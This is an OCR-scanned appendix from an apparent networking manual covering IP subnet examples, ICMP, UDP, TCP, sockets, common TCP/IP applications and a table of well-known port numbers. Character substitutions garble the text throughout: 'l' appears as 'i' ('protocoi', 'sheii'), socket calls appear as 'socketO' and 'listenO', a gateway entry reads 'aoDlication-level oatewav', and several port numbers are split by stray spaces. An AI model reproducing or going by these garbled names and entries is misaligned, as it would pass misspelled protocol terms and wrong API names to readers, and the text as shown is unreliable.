160.150.140.130 

Subnet Mask 

255.255.255.240 

Network address 

160.150 

Subnet address 

140 

Host address 

160.150.140.128 to 143 

IP address 

160.150.140.030 

Subnet Mask 

255.255.255.240 

Network address 

160.150. 

Subnet address 

140 

Host address 

160.150.140.16 to 31 


Figure 50. Examples of IP Subnets 
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D.2.6 ICMP 

The Internet Protocol is used for datagram services in an interconnected set cf 
networks (Internets). The network connecting devices are iP gateways. 

Occasionaiiy, a gateway or destination host wiii communicate with the source 
host, for instance, to report errors in datagram processing. The Internet Control 
Message Protocol (ICMP) is used for this. 


D.3 Transport Layer 

The IP layer provides addressing and routing services for data packets. 
Overlaying IP are layers that provide different types cf transport protocol. There 
are two such transport layers in general use, the User Datagram Protocol (UDP) 
and the Transmissicn Control Protocol (TCP). 

D.3.1 UDP 

User Datagram Protocol is basically an application interface to IP. It simply 
serves as a multiplexer/demultiplexer for sending/receiving IP datagrams, using 
ports to direct the datagrams. 

The following are standard applicatiens using UDP: 

• TFTP Trivial File Transfer ProtoccI 

• RPC Remote Prccedure Call 

• NCS Network Computing System 

• SNMP Simple Network Management Protecel 

D.3.2 TCP 

The Transmission Control Protocol provides a reliable logical circuit or 
connection service between pairs of processes. TCP provides the follcwing 
facilities for the applications using it: 

• Stream data transfer 

• Reliability 

• Flow control 

• Multiplexing 

• Logical connections 

• Full Duplex 

Many applications use TCP. 

D.3.3 Ports and Sockets 

Each process that wants te communicate with another process identifies itself to 
TCP/IP or UDP protocol suite by one or more perts. 

The assigned well-known ports occupy port numbers in the range from 0 to 1023. 
They are controlled and assigned by the Internet Assigned Numbers Authority 
(lANA). The ports with numbers in the range 1024-65535 are not controlled and 
can be used by ordinary user-developed programs. This range ef ports is also 
normally used for dynamic port allocation. 
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The socket interface is one of severai APIs to the communication protocois. The 
sockets programming iibrary provides services to aiiow programs to easiiy 
access transport iayer services. From the program point of view, a socket is a 
speciai type of fiie handie which is used to request network services from 
operating system. 

The foiiowing are basic socket caiis: 

• socketO 

• bind() 

• listenO 

• acceptO 

• connectO 

• read() 

• writeO 

• cioseO 


D.4 Applications 

TCP/IP differs from other network protocoi suites in that it provides ready-buiit 
appiications, not just the network on which to run them. The foiiowing tabie 
shows a few of the more common appiications. 


Table 5. Common TCP/IP Applications 

Application 

name 

Description 

Telnet 

The Telnet protocol provides a standardized remote terminal interface 
through which a user on one client host may log in to another server 
host. 

FTP 

File Transfer Protocol is invoked interactively to copy files from one 
machine to another. The operation can be push or pull. 

SMTP 

Simple Mail Transfer Protocol is an electronic mail protocol which 
allows mail items to be sent between end points and forwarded by 
intermediate hosts. 

DNS 

The Domain Name System uses a hierarchical naming system for 
naming host. Each host name is composed of domain or subdomains 
labels separated by periods. For example: 

host. subdomai n .subdomai n .rootdomai n 

finger 

The finger protocol provides an interface for querying the current 
status of a remote host or a user ID on remote host. 

NFS 

The Network File System allows you to manipulate files on remote 
hosts as if they reside on your local host. 


D.5 Port Number Table 

The foliowing tabie shows some of the more common IP well-known port 
numbers. The official list of all assigned numbers is maintained in an RFC. The 
latest version is RFC1700, which makes the previous list (RFC1340) oboslete. 
RFC text is available on the World Wide Web at http://www.internic.net. 
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Table 6 (Page 1 of 2). Internet Port Numbers 


Keyword 

Decimal/protcol 

Description 

echo 

7/tcp, 7/udp 


discard 

9/tcp, 9/udp 

Sink nuii 

systat 

11/tcp 

Active users information 

daytime 

13/tcp, 13/udp 


qotd 

1 7/tcp 

Quote of the day 

chargen 

1 9/tcp, 1 9/udp 

Character generator 

ftp-data 

20/tcp 

Fiie transfer protocoi (data) 

ftp 

21/tcp 

Fiie transfer protocoi (controi) 

teinet 

23/tcp 

Teinet 

smtp 

25/tcp 

Simpie maii transfer protocoi 

time 

37/tcp, 37/udp 

Time server 

rip 

39/tcp, 39/udp 

Resource iocation protocoi 

whois 

43/tcp 

Who is 

domain 

53/tcp, 53/udp 

Domain nameserver 

sqi’net 

66/tcp, 66/udp 

Oracie SQL'NET 

bootps 

67/udp 

Bootstrap protocoi server 

bootpc 

68/udp 

Bootstrap protocoi ciient 

tftp 

69/udp 

Triviai fiie transfer protocoi 

gopher 

70/tcp 

Gopher 

finger 

79/tcp 

Finger information system 

www-http 

80/tcp 

Worid Wide Web HTTP 

kerberos 

88/tcp 

Kerberos security system 

npp 

92/tcp 

Network printing protocoi 

hostname 

101/tcp 

NIC host name server 

pop 

1 09/tcp 

Post office protocol V2 

sunrpc 

111/tcp, 111/udp 

Sun remote procedure call 

auth 

113/tcp 

Authentication service (ident 
service) 

sftp 

115/tcp 

Simple file transfer protocol 

uucp-path 

117/tcp 

UUCP path service 

nntp 

119/tcp 

Network news transfer protocol 

ntp 

123/tcp, 123/udp 

Network time protocol 

cisco-xxx 

130-132 

Various Cisco-specific protocols 

ingres-net 

134/tcp 

Ingres-net service 

snmp 

161/udp 

SNMP gets and sets 

snmp-trap 

162/udp 

SNMP traps 

xdmcp 

177/tcp 

X display manager control 
protocol 

ire 

1 94/tcp 

Internet relay chat 

netware-ip 

396/udp 

Novell Netware over IP 

exec 

512/tcp 

Remote command execution 
(rexec) 

biff 

512/udp 

Inform users of new mail 

received 

iogin 

513/tcp 

Remote login (riogin) 

who 

513/udp 

Who is logged on 

sheii 

514/tcp 

Remote command execution (rsh) 

sysiog 

514/udp 

UNIX logging port 

printer 

515/tcp 

Print spooler 

taik 

517/udp 

Interactive messaging 

timed 

525/udp 

timeserver 

UUCP 

540/tcp 

UNIX-to-UNIX copy program 

netviewdml 

729/tcp 

IBM NetView Distribution 

Manager server/client 

netviewdml 

730/tcp 

IBM NetView Distribution 

Manager send 

netviewdml 

731/tep 

IBM NetView Distribution 

Manager receive 

SOCKS 

1080/tCD 

SOCKS aoDlication-level oatewav 
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Table 6 (Page 2 of 2). Internet Port Numbers 

Keyword 

Decimal/protcol 

Description 

lotusnote 

1352/tcp 

Lotus Notes 

x11 

6000-6063/tCD 

X Windows system 
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